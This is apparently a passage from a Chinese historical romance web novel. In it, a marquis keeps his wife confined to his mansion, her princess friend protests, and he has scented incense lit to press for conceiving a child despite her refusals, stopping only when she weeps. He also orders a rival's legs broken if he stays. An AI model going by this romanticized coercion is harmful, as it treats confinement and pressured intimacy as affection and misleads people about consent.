众人又是面面相觑。 * 京城。 杜泠静又看了看年嘉的帖子。 年嘉并非邀她去忠庆伯府,而是请她去裕王府,那里再没旁人相扰,从前她们在京外见面,便是在裕王府里。 而裕王,正是蒋太妃娘娘早逝的儿子。可惜年嘉还没出生,他便染了时疫离了去。 年嘉自幼没有父亲,先皇是她的祖父,又怎么可能顾得上她? 她多数时候都随着蒋太妃在宫中,彼时同她最好的,不是偶尔才进一次宫的自己,而是进宫侍读的如今的锦衣卫指挥使魏玦。 年嘉和魏玦是青梅竹马,在宫中相伴长大,年嘉本是要嫁给魏玦,甚至为了魏玦去学着做衣裳,但最后却嫁给了魏玦的从兄,魏氏同族的忠庆伯世子魏琮。 杜泠静不清楚到底发生了什么,她莫名想到自己,她本是要与三郎成亲,最后却嫁到了陆惟石的侯府里。 陆惟石…… 他数日没回家了,但也困着她半步都迈不出去。 眼角有泪光一闪。 这时外面脚步声突然杂乱起来,未及她回身,听见外面道。 “侯爷回来了。” 此话隔窗传进来的瞬间,男人撩开门帘一步走了进来。 杜泠静恰往门口看去。 四目相对的一瞬,整间房中空气静止。 陆慎如则一眼看到她眼角上的泪。 那泪没落下,却又似是砸在了他心上,他心下一颤。 但她立时擦掉眼角的泪,冷着面侧过头去。 她不跟他说话,看也不多看他,好似他没有在外滞留多日,好不容易才回了家。 心头压得难受,男人亦抿唇不言,只有满院子的花香,悄然飘在房中。 他瞧见她手边的年嘉郡主的帖子。 年嘉是蒋太妃的孙女,也算的蒋家人。 她眼角有泪,是因为又想到了蒋竹修…… “为何不烧地龙,不冷吗?”他问她。 杜泠静不回应,见他抿唇独自换了衣裳,听见他又道。 “院中你可有喜欢的,不若搬两盆到房里来?” 他口气倒算和缓,不知道的,还以为这位侯爷对他多么好的脾性。 杜泠静起了身,错开他转身往门外去。 可是一步还没迈出去,忽的被人揽住了腰,被他拨过来,正对着扣进了他怀里。 他的身上还有刚残留着烈风奔马回来的仆仆风尘之气。 杜泠静被他紧扣在怀,通身都紧紧贴在他身上,他低头向她靠近着看来。 “夫人去哪?”他唇边贴在她额边问。 杜泠静呼吸急促了一时,想到他对她下的禁令,哼了一声。 “侯爷已经囚我在府里,如今连这间房都不许我离开了,是吗?” 她被他揽住腰扣在怀中,口气却如顺风掷来的长枪,直扎人最薄弱的伤处。 她对蒋竹修从来都是温言软语,何曾有过夹枪带棒? 两日人各自发问,又互不回答。 房中静得落针可闻,门外的花香都不敢再闯进来。 到底还有人先耐不住了。 陆慎如抱着她的力道不再紧扣,微微松了松,令她舒服些,但却没松手。 她发间的香气轻轻蹭在他的鼻尖。 但他只这么一松,她立刻推开他,转身回到了窗下。 怀中一空,心口也如同被挖掉一块。 目光追着她,回到窗下桌边,去拿年嘉的帖子要收起来。 他不禁开口。 “年嘉给你下了帖子,你想去的话……” “我哪都不去。” 杜泠静径直将帖子收了回去。 他不让她出门,连年嘉下帖请她,她都需要征得他的同意。 那她干脆哪都不去了。 她说完,定定地看着他。 陆慎如笑了。 他不让她出门,她就干脆哪里不再去。 她就看他,能把她囚困到何种地步。 但他若是解她的禁,她可就远远地走了。下次下下次,还能再让他次次都找到? 他说好,房中彻底没了声响。 更鼓遥遥在巷中响起。 下人过来伺候二人洗漱,杜泠静便让艾叶取了一床被褥放在了小榻上。 陆慎如从眼角瞥见,以为是给他睡的。 她赶他去睡榻,可以。 不想人都退下去,她自己坐到了小榻上。 这是他的侯府,她睡榻,请他睡床…… 这一回,男人气息都不稳了起来,他深沉了一气,一步上前将她抱了起来。 天旋地转间,杜泠静已被他抵在了床上。 他低眸将目光抵在她眸中,双唇抿成了一条线,呼吸交错着,连彼此的心跳都纠缠着明晰起来。 帐中渐渐升腾起往日湿热的气息。 男人眸色和软下来,明明他是囚禁别人的人,眸色却带着三分乞求。 他指尖替她挽起耳边的碎发。 帐中的气息越发温软流传起来 但杜泠静抬手将他推开了去。 男人身形被他推开,默了默,却一眼扫到了窗下。 原本他们床边的窗下,摆着她得来的那一对憨态可掬的求子娃娃。 他们本来要有孩子了。 却因为蒋枫川,她连娃娃都不摆了…… 男人径直唤了盈壁和香溢两个丫鬟。 “明日把夫人的求子娃娃拿出来,摆到窗下来。” 他目光从窗下转到她脸上。 “求来的求子娃娃,必须要用上,不然便是对神明不敬。” 后面这句,他放缓了语速,一字一字都抵在杜泠静耳中。 杜泠静直接转过了身去。 他不提今日今夜,他只用锦被给她裹了身子,让人把地龙烧起来。 他看着她的眼睛。 “我们不急。” 她再不看他了,自他回到家中,到吹熄蜡烛,这才多少时间,她冷淡决然地扭头转身了几次。 陆慎如莫名想到那年在勉楼的情形。 此时此刻,一如彼时彼刻。 第57章 帐内昏暗着, 睡在床帐里侧的人,背过了身去,陆慎如默然瞧了她好几眼, 不禁想到那年在勉楼的情形。 此时此刻,一如彼时彼刻。 那日的勉楼外, 闷热湿沉的天气, 树梢都不动分毫,蝉鸣不息,刺刺啦啦地划在人耳中。 外面天色黑透,她没上楼里来, 只让秋霖把她常用的笔墨纸砚全部取走,她等在楼下, 拿了东西便要离去。 但他将她拦在了后院月亮门的转角处。 夜间的后院内无人走动,而他更是不能暴露,以免给杜家增添麻烦。 他只能避在墙角的黑影里。 伤势还未痊愈,他一路下来, 仓促间撕开的伤口隐隐作痛。 “姑娘能否容我说几句?” 不管以后怎样, 他总该把他的意思都告诉她。 可她却连看都不肯看他一眼, 脸侧过去,她站在月光下, 与墙角的阴影隔着十万八千里。 “我不想知道公子是什么人,也不想知道公子要跟我说什么。” 她沉声, 嗓音冷淡极了。 “我只知道,你我不该再见。” 说完, 再不顾他一个字都还未曾说出口,便从月亮门中决然转身离去…… 一晃多年已过,帐外月色冷清得, 同那年落在她身上的月色一样。 陆慎如默然闭起眼睛,平平躺着,不知自己是睡着了还是没睡下。 不知过了多久,她翻了个身,忽的坐了起来。 男人立时醒了。 地龙一烧,房中便有些干燥。 她要喝水,迷迷糊糊地坐起来。 陆慎如也没问,径直下床给她倒了水,递到她手边。 她半闭着眼睛接过来,小口喝了半杯。 陆慎如见她无意再喝,便拿了她手里杯子。 她还迷糊着,就坐在床里侧,月光洒落在地上,又反照到她的侧脸。 这一刻与他们成亲这许多日一来无甚差别,好似他们从未有过这些日的离心。 陆慎如不禁抬手,牵住了她的手。 她的手还带着锦被中的湿热暖意,细而软,他轻轻握在掌中。 但下一息,她忽的醒了过来。 她抬眼看向他,手立时从他掌心抽了回去。 月色凝在了石板上。 她又背过了身去,再不理会他分毫。 陆慎如闭起了眼睛,亦没说什么,抿唇躺回了原处。 …… 次日天不亮,男人如常早早起了身,准备去上朝。 他回头看了床榻里面他的娘子,没扰她,换了衣裳去了外面。 崇平在外面等着,先上前跟他禀了两桩事。 男人听了,颔首,吩咐了两句,却想到了什么。 “会试考完了,”他思及那蒋家的老六,面色沉着,“有些人可以让他滚出京了。” 他道,“日后蒋家的人……” 只是他话没说完,房门突然被拉开。 她只穿着薄薄一层中衣立在门前,长发散披在肩上,抬眼向他看来。 “你要拿蒋家的人怎样?!” 夜风还残留着冬夜里的凛冽,她就这样披发单衣地立在门前。 崇平一惊,连忙低头别开目光。 陆慎如则眸光近乎烧在她身上。 “回去。” 但崇平却从眼角看见夫人立着没动,更没有折返回房里,默然与侯爷对视。 整个院中的夜风仿佛在这一瞬骤然大作,崇平在旁简直感到侯爷通身气息全都压了下来。 他想劝说句什么,只见男人扯下肩头的披风,裹了夫人,径直将她抱回了房里。 房中的温热,被门外吹来的冷风置换。 “我说什么了?!”陆慎如一字一顿,问他的娘子。 杜泠静眼帘颤着,“你不要动蒋家的人。” 八个字,像钉子狠狠钉进男人耳中。 他目光紧紧定在她身上,低哑的嗓音有什么快压不住了、 “蒋家人就是你的眼珠子,我等岂敢乱动?!” 反问的话音落下,四目相对,房中静得几近死寂。 崇平在窗外不禁急急开口。 “侯爷!夫人……” 房内,杜泠静眼眶热了一热 陆慎如则径直起了身,转身离去。 …… 一连两日,满京春花渐次开放,侯府冷到仍留在凛冬。 这日陆慎如从外面回来时,看见了赵掌柜。 赵掌柜拿了一摞书和一沓信来寻阮恭,瞧着是刚从归林楼过来。 她出不去,只能让赵掌柜隔天就来一次。 这会赵掌柜正同阮恭道。 “会试考完,距离放榜还得月余,这些考生学子已经往归林楼里来了。” 他说着这些学子,又道早就想要摆放书楼主人,也有的是买过杜氏出的时文选粹,今次考试派上了用场。 “他们向当面感谢夫人,旁人都加价卖书,怎么不加还减,寒门学子没有不赞杜氏一声好的。只是夫人不去归林楼,他们也不愿意往侯府来。” 他们感谢杜氏,却不是感谢永定侯府,毕竟文武素来不和,而陆慎如的名声在士林中相当之不好,哪怕有了救出拂党一事,也难以在短时间内扭转士林学子对他的看法。 士林文人不骂他弄权佞臣就不错了,自是不会往他府邸来。 他们最可惜的,就是皇上怎么能把杜家那位姑娘赐给了他。 赵掌柜没办法,只能让这些人若是有心,就写了信,他拿到侯府转给夫人。 这会赵掌柜把厚厚一大信给了阮恭,顺便问了一句。 “夫人还好吧?” 阮恭没说好还是不好,只道。 “夫人如今是从早到晚都不愿意说话,大多时间都在西厢房里修书,连正院都不出。” 赵掌柜长长地叹气。 陆慎如立在墙后,树影将他通身墨色锦袍映衬得更加低沉,他目光穿过层层院墙,遥遥向正院看去。 但男人下一息转头叫了崇安,“你过来。” 崇安连忙上前,“侯爷有何吩咐?” * 正院,西厢房。 艾叶端了茶水点心走进来,见夫人今日又修了半天的书,无法出门的日子,她修书的进展倒是快的很,但是近来眼睛总是红红的。 艾叶不禁道,“夫人出去走走吧?不若就往漱石亭上站一站,漱石亭上视野高阔,眼睛能舒坦许多。” 漱石亭是好去处,尤其春花盛开的季节,放眼望去,府内府外皆是美景。 但杜泠静摇了头,并无意去。 艾叶还想再劝一句,秋霖这时回来了。 她进门便道,“夫人快猜谁来了?” 杜泠静抬了头。 那位侯爷不让她出去,等闲人也进不来,还能是谁?无非是赵掌柜。 不想秋霖一开口,“夫人,年嘉郡主来了!” “年嘉?” 杜泠静不由起了身。年嘉的帖子她没回,她不知道要怎么回。当下问去。 “年嘉在何处?” 秋霖也是刚得来的消息。 郡主可能是侯爷请来的,秋霖回道,“郡主眼下到了外院,但外院传来了话,说郡主马上就来见您!” …… 外院。 陆慎如问了两句魏琮这几日的状况。 年嘉郡主此番是随着他夫婿、忠庆伯世子魏琮,回京养病才回来的。 陆慎如先前去忠庆伯府看过魏琮了。 他外伤不算太重,但据说是内伤颇重,所以也不敢怠慢就回了京。 但陆慎如却听到他浅言几句,透着些旁的意思—— 他此番回京另外有事。 但彼时探病的人多,他未及过多停留,两人便也没有多说什么。 而魏琮此人寡言而稳重,陆慎如见他不急于一时,便也定下心等着。 这会他同年嘉郡主,问了两句魏琮的情况。 对面的郡主生着一副明艳的面庞,通身珠光宝气点缀着,举手投足都是皇家郡主的气派,派头端得足足的,谁人也不敢小觑。 若不是知道她与静娘相识多年,很难相信她们二人会旧谊颇深。 当下年嘉郡主三言两语就把她家世子的病情说了。说完便起话头问了他。 “静娘怎么没来迎我?怎么也没应帖子,去我裕王府?” 她这两个问题可不好回答。 陆慎如只道,“侯府也是一样的。” 年嘉看了他一眼,这话颇为语意不详,她小哼了一声。 真是怪人。 静娘这么温柔安静的人儿,怎么就嫁了他? 只怪蒋家三哥身子太不好了。不过静娘不在青州,在京城里,她们倒是多了见面的时机。 陆慎如让崇安带她往后去。 杜泠静闻讯便换了衣裳,眼下正往院门前走来。刚走了没几步,一眼看见了来人。 来人穿了件柳黄色绣金丝褙子,发间步摇映着此刻明媚的天光,照在人眼中,心情都跟着她摇晃明媚起来。 “静娘!” “郡主……” 两人可是太多年未曾见过了,相见的一瞬,甚至不及见礼就相互牵住了手。 人前高高在上的郡主,此刻见到儿时好友,手下攥着她的手不放。 “太好了,你也在京城!你不知道我在西安这几年,快闷死了!” 她那口气,杜泠静听着就禁不住笑起来。 两人身侧的丫鬟都忍住捂着嘴笑。 年嘉也觉自己这口气过于兴奋,不好意思地清了一下嗓子。 “诚然,本郡主这几年是替宫里的皇上、娘娘,往陕西行省体察民情去了。” 她还努力往回端上一下,找补一番她皇室郡主的姿态。 杜泠静却越发想笑,但也随声附和了她。 “郡主说得极是。” 接着就把她往正院里面迎去。 但有管事过来道,“夫人,侯爷让人把后花园湖边的明沁阁收拾了出来,夫人不若请郡主往明沁阁吃茶赏景?” 明沁阁就立在水边,这个时节,春风拂面,临水观景最是怡人。 但杜泠静并不想顺着他的意思过去。 不过年嘉却不晓得内里的事,只道,“永定侯府我倒没怎么来过,没想到你做了这永定侯府的女主人,快带我过去转转。” 杜泠静可不敢当什么女主人,囚徒罢了。 但她也舍不得扫了年嘉的兴致,同她一道终是踏出了正院的门,往后面花园里去。 只是刚走出正院没多远,便见前面路口,男人立在树下。 他没站在明媚的天光里,只立在树下的暗影之中。他眼帘半垂,目光越过旁人,只静默地落在她脸上。 杜泠静微顿,但旋即别开了目光。 男人沉默,还是年嘉问了一句。 “呀,日理万机的陆侯爷,也有闲暇同我们往后院吃茶吗?” 杜泠静又察觉那目光远远地从她脸上掠过。 他嗓音比平日要低。 “我就不去了,郡主请便。” 他在回她的话,但目光却禁不住地黏在她身侧的人身上。年嘉眨眨眼睛。 这两个恐怕是不对劲…… 但男人很快转身走开,她们也去到了提前收拾好的明沁阁里。 窗子推开,春暖的风裹挟着花香吹进来。 “静娘,像不像从前咱们在宫里?” 杜泠静亲自给她沏了茶,倒在杯中递过来。 她说像,“那会先皇后娘娘和太妃娘娘,也是带着我们在水边吃茶观景。” 回忆开了条狭口,年嘉立时滔滔不绝起来,她说起以前在宫中耍玩的事情,简直犹在眼前。 杜泠静思绪也跟着她飞了起来,那时候的京城,好似和眼前这座城完全不一样。 年嘉倒是从小便是这种滔滔不绝的性子,不过那会,杜泠静想起一些事,年嘉那是开口三句话里,必有一句与魏玦有关。 那时她虽然与魏玦没见过几次,但因着年嘉,她对那位如今的锦衣卫指挥使,却丝毫不觉陌生。 但此时此刻,年嘉回忆着过往宫里的日子,说了许多话,可再没有提过魏玦一句。 好像那个她儿时最亲密无间的人,从不曾在她生命里存在过。 杜泠静有种说不出的酸酸的感觉。 似乎当年所有人都以为年嘉会嫁给他,连先皇后娘娘都以此打趣年嘉,而蒋太妃娘娘在旁并不反对。 可等他们都长大了,真正到了议婚的年岁,她远在青州,却听说年嘉嫁给了魏玦的从兄、忠庆伯世子魏琮。 非是皇上强行赐婚,而是两家商议好了之后,一道去皇上面前为二人求来的圣旨。 有传闻说,魏玦是皇上的舅家表弟,而年嘉是皇上侄女,皇上不登极也就罢了,登极之后辈分相差颇为不恰,此事便没能成。 也有人说,魏玦一家本是忠庆伯府的旁枝,但因为皇上登极,魏玦的父亲作为国舅,被封信云伯之后,他母亲保国夫人便瞧不上遗腹女出身的年嘉,认为她没有依仗,无益于魏玦日后前程。 还有人说,年嘉在魏氏两兄弟之间摇摆不定,魏玦干脆将她舍了。 到底是何原因,杜泠静到现在也不知道。 她只晓得魏玦至今还未成亲,他母亲保国夫人为此焦心不已。 年嘉没有提及魏玦一个字,反倒提及了她如今的夫婿魏琮。 这位世子一直在西北边关率兵坐镇,他先是更加西北的陕西行都司,后来因为荣昌伯府杨家的事,陆慎如将他调去了宁夏。 “世子这次伤得真是不轻,我见到他的时候,他闭目躺在床上,我都以为我要当寡妇了!” 他们二人成婚三年还没有孩子。 杜泠静让她不要乱说话,年嘉跟她说话倒是不在意这些。 “好在是救了过来!这次回京休养一阵,正好找几位太医好生调理一番。” 她说着嘟了嘴嘀咕起来。 “都怪陆慎如,世子在甘肃好好的,杨家出事,荣昌伯爷更该在前立功才是,他倒好,非要把世子调去宁夏,世子还没熟络过来,就被鞑子突袭,真是无妄之灾!” 她对陆慎如十分不满。 杜泠静闻言不禁轻叹一气。 年嘉却道,“静娘你叹什么气?陆慎如做的好事同你可没关系。” 她说着,忽的问了她一句,“怎么?你还挺在意他?” 年嘉想到两人之间奇怪的状态,探究着又眨了眼睛。 但杜泠静摇了头。 年嘉见她不想多少,便道。 “也是,你们才成亲半年。我同世子都成亲三年了,我与他也不熟悉的。” 她说魏琮在甘肃坐镇边关,他们二人婚后的府邸却设在西安城里。 她道,“西安那些高门无趣得紧,一时来巴结我,一时又怕我看不上他们,相处极为难受,还有秦王府那些人,我没一个能说得来。初初去时还新鲜,后来无聊到我都想去甘肃了。” 杜泠静问她,“怎么没去甘肃找世子?” “还不是那地界风沙大的吓人,鞑子也不安分。我不想去吃沙,他倒也没说什么。” 但成婚三年,两人见面的次数屈指可数,不过年嘉似乎对他这位夫婿,无有什么不满。 年嘉只说自己真要把陕西的山爬了一遍了,“无聊死了,这下终于回京来了!” 她问杜泠静,“你在京可都见了旧时的友人?” 杜泠静跟她笑着点头,说见了扈家兄妹。年嘉也听闻了邵伯举的事,啧啧两声,“他那探花,当了还不如不当,硬生生失了前路。” 杜泠静也是这等感觉,她说又见了些拂党旧友,年嘉倒不认识了。但杜泠静看了她一眼,还是道了句。 “魏指挥使年后也回了京城,听闻我大婚,还送了四部宋本的重礼。” 魏玦也刚回了京,年嘉与他都在京中,早晚是要碰见的。 杜泠静提了这么一句,见年嘉眸光轻轻一颤。 飞扬的郡主此刻眸色沉落两分,极轻地“哦”了一声,没了方才的兴奋,只淡淡道了一句。 “他的事,我许多年未曾听过了。” 第58章 “他的事, 我许多年未曾听过了。” 仿佛一滴酸涩的苦汁滴进口中。 杜泠静瞧着年嘉平静至极的眸色,曾经那个与她亲密无间的人,在多年之后, 她再没迎来与他的结局,只剩下这样一句, 他的消息, 她多年不曾听闻了…… 杜泠静不再提及,只轻轻拉了年嘉的手,又让人上了茶点来。 下面的人一口气摆上来四大盘点心,各式各样的都有, 倒也丝毫不逊色宫中的茶点。 年嘉恢复了几分方才的情绪,瞧着四盘精致香甜的点心, 不知挑哪个好,其中有一盘是陕西风味的,她再不多看一眼,倒是瞧见了另一盘鲁式点心里的一道。 “燎花糖?甚像隆福寺、你爱吃的那家。” 杜泠静也才刚看见燎花糖也在其中, 是隆福寺的, 还热乎着, 看似是某人刚让人买回来的。 她只看了一眼,却收回了目光, 年嘉却道。 “隆福寺离我裕王府,可比这永定侯府近多了。你去我那, 我保证你也有热乎乎的燎花糖吃。” 她又请她去,这次不是下帖子, 是当面请了她。 但杜泠静闻言笑了一笑,不好说什么。 可年嘉仔细打量了她两眼。 “静娘你这反应可不太对。” 杜泠静不想多说她与那人的事,只同年嘉道, “你若得闲,还来我这里便是。” 但她这话说了,年嘉更挑眉了。 “什么意思?陆慎如管你这么严?那我以裕王府的名义,给你正经下贴,也不行吗?” 杜泠静没回答。 他把她关在了府邸,能让年嘉来就不错了。 湖面上吹来的风,将桌上点心的香气吹散。 年嘉见她没解释,只垂眸给她续茶,嗓音低柔着。 “你回京来我尤其高兴,只是……” 年嘉忽的反应了过来。 “陆慎如把你关在侯府里了?!” 话音落地,她见静娘手下微滞。 是真的!年嘉讶然。 有风吹进来,轻轻抚在她脸颊旁,柔柔撩动起她的发丝。她侧身坐着,半垂着头,修长白皙的脖颈见,发丝抚摸似的缓缓环绕。 连风都舍不得冷冽地吹拂她,只这样温柔轻抚。 陆慎如怎么舍得欺负她,把她关起来,不让她出门? 远远地,恰有两束目光,越过湖面的浮光掠影,落在了她们处身的明沁阁中。 杜泠静察觉到了那目光看过去,男人立在湖边的凉亭下,她立时转开了头去。 他是把她关了起来,但也不能拿她怎样。 但年嘉却忽的站了起来。 “他陆慎如也欺人太甚,我去找他理论!” 杜泠静闻言连忙要拦,但根本就拦不住。 湖面泛着绿波翠光,陆慎如刚从明沁阁里收回目光,就见年嘉已经气冲冲地到了。 “陆侯可真是有本事,把自己的妻子关在家里。你未免也太欺负人了,当她娘家无人不成?” 她道,“你快把她放了!” 男人却只当没听见,兀自续茶。 年嘉直道,“本郡主让你放人!” 她这话却引得男人哼笑一声,这才抬眼看了她一眼。 “郡主好大的威风,看来是刚到京城就腻了,想回西安了。” “你……” 他一副有恃无恐的样子。年嘉差点一口气没上来。 但军中除了靖安侯一系在南面抗倭,北边谁人不得听他陆慎如调遣? 他把魏琮又派回陕西去,她自也得回西安。 可年嘉也不顾这许多了,若是连她都不能给静娘出头,更没人敢说话了。 她瞧着这位权臣陆侯,忽的哼了一声。 “真是天意弄人,竟让你娶了静娘。只可惜你是娶了她,又把她关在你身边,她走不脱,但她心里原本的夫婿的模样,却不是你这模样。” 她也不说是谁,只哼哼道,“那温润如玉、谦谦如竹的君子,才是静娘心里的夫婿。” 话音落地,她便见男人一默,眸色暗了暗。 年嘉却心下直呼痛快—— 蒋家三哥,才不会像他这样。 但她却见陆慎如忽的笑了一声,他说“好”。 “看来郡主是不想在我府上留了。” 他看向年嘉,“恕不远送。” 年嘉自是不欲走,但他身侧是侍卫已走上前来,摆了请的手势。 年嘉在西安这几年,还没谁敢对她这般不客气,她气不打一处来。 杜泠静已经匆促赶了过来。 年嘉自是不想让她去求这人,干脆道。 “静娘你别怕,我先回去,过两日再来看你。这京城里有的是能人,我就不信没人治得了他!” 杜泠静叹气,一路将年嘉送到了侯府门前,但步子还没跨出去,门前的侍卫就拦了她。 “夫人,您不能出去。” 她只能停住了脚步,年嘉气得有嘀嘀咕咕好几句,才离开。 杜泠静一直看着她走远,站在门前出神半晌,但一回身,径直撞进了一人怀中。 他握了她的手臂。 但杜泠静再不想跟他说一句话,甩开他的手,径直回了正院里。 …… 外院远岫阁。 崇平本想着,今日侯爷把年嘉郡主请了过来,不论如何,都算是跟夫人示好,两人能不能和缓一些。 夫人在正院里埋头修书不说话,侯爷则在远岫阁中,成日面色冷得,连鸟都不敢飞进来。 谁想年嘉郡主来了这一趟,原本见着春光乍现,这会又冰冻三尺。 崇平不敢多言,只能上前回禀,道是靖安侯夫人七十七岁喜寿,请帖已经送了过来。 靖安侯,是陆慎如祖父一辈的人。今次过寿的正是靖安侯夫人。靖安侯远在福建回不来,夫人留在京城侯府,连皇上娘娘都时常照应。 这次过寿,是宫里有意让周家大办,以此彰显皇上对靖安侯府的荣宠。 周家和陆家的关系不同寻常,陆慎如见帖子来了,便问崇平寿礼都准备得如何。 崇平回了几句寿礼的事,又拿出了另一封帖子。 “是忠庆伯府递过来的帖子。” 陆慎如挑眉,年嘉才刚走,就又递了帖子要上门?也得看他愿不愿意。 不过崇平却道,“并非郡主让人递来的,是世子,要见您。” 忠庆伯世子,年嘉的夫婿魏琮。 他此番回京,显然是另外有密事,才打着养病的借口回来。 陆慎如点了头,同崇平吩咐了几句,让魏琮过几日前来。 崇平回完话,有管事带了人过来,道是有军中的将领来京,给侯爷带了些礼来。 陆慎如自是无暇细看,只扫了一眼单子,却见上面,竟写着一对开了光的求子瓷人。 崇平见侯爷目光落在那求子瓷人的字样上,暗道,先前侯爷迟迟未有成婚,那些军中的将领各个比侯爷还着急百倍,没少找门路打听侯爷喜欢何等模样的,妄图给侯爷先塞几房妾室进来。 整个永定军都仰仗着陆氏根基稳定、侯爷大权紧握,才能安安稳稳地在军中做事,不被那些投降派的文臣欺凌。 先前侯爷迟迟不娶妻,他们就着急,这回好不容易迎娶侯夫人过门,他们又开始关心侯爷的子嗣。 但侯爷和夫人眼下这状况……崇平只想叹气。 可陆慎如看着礼单上的求子瓷人,却莫名想到了年嘉走前,故意说的那几句—— “真是天意弄人,竟让你娶了静娘。只可惜你是娶了她,又把她关在你身边,她走不脱,但她心里原本的夫婿的模样,却不是你这模样。” “那温润如玉、谦谦如竹的君子,才是静娘心里的夫婿……” 男人忽的开口吩咐了下去。 “让嬷嬷今晚去正房点香。” * 杜泠静看了一阵学子的信,也动笔简单回了几封。 但她回了信,又支了手臂思量起赵掌柜说的事。 赵掌柜说士林中的学子,都想在归林楼见她,但听闻她在侯府,便没有人愿意前来,宁愿写信,也不肯跨入陆侯的府邸半步。 杜泠静不知该怎么评价。 可归林楼也好,付梓流布她借用的钱也罢,更不要说人手,在各个书商出发行的人脉,哪一样与陆某人撇得清干系? 他出钱、出力、出人,未曾因为士林的文人成日里骂他是弄权的佞臣,就罢手此事。 杜泠静想了想吩咐了阮恭,“下次赵掌柜过来,你告诉他,日后但凡是以归林楼的名义出的书,都添上一笔陆氏的字样。” 阮恭愣了愣,不禁道。 “那样恐怕要卖不出去了。” 侯爷的名声,足以令那些厌恶他的读书人,看见“陆”字转身就走。 杜泠静如何不晓得,但道,“是他做的就是他做的,买与不买是旁人的事,但印与不印是我们的事。” 她说着,见阮恭向她看来,不由又补充了句。 “我不想借他的功,成自己的名。” 方才那一息,阮恭还以为夫人愿意同侯爷和缓了,不想还是他想多了。 阮恭令了吩咐离去,杜泠静则收拾了案上书册,又回了正房里。 只是她刚踏入正房当中,便闻到了与平日里不太一样的香气。 那香是嬷嬷调换过的偏清淡的味道,但已经许多日子都未曾点起了。 此刻香气已经弥散房中各处,像蝴蝶一样,浅浅停在桌角、帘边、地上。 但杜泠静并无意。 她转身便要往香炉中灭掉此香。 可刚一回身,男人已从门外撩帘子踏了进来。 他换了件金丝绣亭台楼阁的墨色锦袍,目光倏然相接的瞬间,方才悄然停息的香气蝴蝶,全都扑棱着翅膀飞了起来。 房中香气盘旋不止。 杜泠静怕他误会,不由地解释了一句,“嬷嬷弄错了。” 不想他道,“嬷嬷没弄错。” 杜泠静一怔,再向他看去,听见他低声道。 “我们要孩子吧。” 杜泠静眼睛都睁大了,却见男人并不过多解释,解了领边扣子。 不过几息,他已把衣裳一件件除了下来,室内烛光流转,他将中衣上衫也褪了去,随手扔去了一旁,只余起伏的胸膛在黄晕光中,仿佛如油润浸透,起伏跌宕。 杜泠静连忙别开了目光,想问他到底想做什么,他则只着下裤,将多余的灯火灭了去,然后走上前来,将她揽着双腿,高抱了起来。 他手臂宛若盘龙,抱她不费一力,如同抱一个轻巧的布偶。 但他还没这样抱过她,此刻她简直如坐在他的手臂上,她重心不稳,不得不半身靠在他肩臂上。 但他身子滚烫极了,油亮的前胸真的如同浸透了热油,哪怕隔着衣料贴着她的身子,那滚烫热意,也烫得她通身禁不住跟着他热了起来。 呼吸逐渐急促,他仰头向她定定望来,似也感受到了她随他一道发烫的身子,和急促起来的呼吸。 杜泠静急了起来。 “你把我放下!” 他压着嗓音,“不。” 脚下向床帐边走去。 杜泠静更急了,挣扎着要下,但她的力道于他只是儿戏。 她挣扎不脱,周遭火光乱颤,她止不住地拍到了他肩臂上。 “你放我下来!” 可是掌心拍上他纹丝不动的赤条肩臂上,这次没隔着衣料,她掌心竟被他烫到。 可能是她的意识,又或者他真的这般烫,杜泠静的手竟不知往哪放才好。 就这须臾的工夫,他直接抱着她上了床。 帐中的香气似乎更加浓郁。 陆慎如见她脸色潮红了几分,他手下握着的她的手腕脚踝,也俱越发热了起来。 他柔了嗓音,跟她又确认一遍。 “泉泉,我们要孩子。” 纱帐落下,杜泠静真被他气到了。 “我不要!” 但他不说话,只将她抱到了床角,把她彻底抵在床上。 香气催得杜泠静身子越加发热,汗都冒了出来,她不住侧身,但稍稍一侧,更贴近他炽热的怀中。 杜泠静一惊。 他则干脆顺着她的动作,揽了她的腰,让她贴在他怀里。 他通身的气息将她每一丝细发都缠了起来,那气息混同此间的香,带着往日里熟络的旖旎味道。 而他们已太过熟悉彼此的身体。 他只稍稍一动,她身子就止不住轻颤起来。 “陆慎如!”她气到极点,她气红了眼眶。 男人一顿,连名带姓的三个字叮咚地落进了耳中。 她同他最好的时候,虽还是没几句柔言软语,但却会轻轻软软地叫他一声,“惟石。” 但此时……男人垂着眼眸紧看着她。 “叫我陆慎如?” 那些朝中的文臣骂他的时候,才指名道姓地叫他陆慎如。 如今连她也叫了他这三个字。 男人抿紧了唇,欲别开头去,却见她发红的眼眶,一滴剔透的眼泪啪嗒落了下来。 陆慎如彻底定住了。 他心下蓦然一慌,想要寻帕子没寻到,只能用手掌捧住了她的脸。 她侧头,他没松手,指腹蹭在她眼下的泪痕上。 但她眼泪落得更凶了。 男人彻底无措,他越是擦,她越要落。 “不兴哭的……”他急道。 杜泠静含泪瞪了他。 男人没办法了,转身去叫了秋霖。 秋霖和艾叶就等在了门外,他让秋霖寻来帕子,又叫了艾叶。 “去灭了炉里的香,门窗通通打开!” 窗外的夜风灌了进来,房中很快恢复了安宁。 但杜泠静再不想理这个人,陆慎如只能叫秋霖,“你今晚陪着夫人。” 秋霖也不应声。 男人叹气,最后看了妻子一眼,她还是不想搭理他。 “……那我走了。” 他转了身,杜泠静才抬眼向他看去,他身影寞然消失在夜风里。 * 翌日朝堂上,窦阁老见了某人沉到了东海底的面色,不免捋着胡子笑问了他。 “陆侯怎么如此心绪不佳?” “与窦阁老何关?”陆侯冷脸。 窦阁老也不生气,“老夫都劝你了,该舍便舍,舍不掉人,舍了情意也是一样的。” 总归夫人是他的,又不能另嫁。 但陆侯一甩袖子,撇开这位看热闹的阁老,当先一步迈进了大殿里。 今日朝堂并无大事,会试结束,阅卷要到二月中旬,之后便是皇上到场的殿试。 有官员报上今岁春闱的考生比往年还要多一成,“皇上必能得才俊如云。” 皇上爱才俊,更爱青年才俊,此刻点了头,点了人安排好之后的殿试。 “朕必是要亲自考较的。” 陆侯听了一耳朵春闱之事,出宫便叫了崇平,他道蒋枫川考前还不忘弄鬼,必是考不上,早日撵走。 “他要是不走,把腿打断!” 崇平:“……” 他要是真把蒋六郎腿打断了,侯爷和夫人再别想和好了。 但崇平未及回应,有宫人从后面追了过来。 “侯爷,贵妃娘娘有请。” * 毓星宫。 陆慎如到的时候,廊下无人吹笛。宫人说慧王殿下跟先生读书去了。 男人颔首,却看见小外甥寝殿门口挂了一串海贝风铃。 他目光不由定住。 那是她少时的爱物,他舍不得她送人,她却还是令人从青州取了来,亲自一点一点擦拭干净,送到了宫里。 “殿下喜欢?”他问。 宫人连道喜欢极了,“殿下总说,侯夫人将东边的海风带到了京城。” 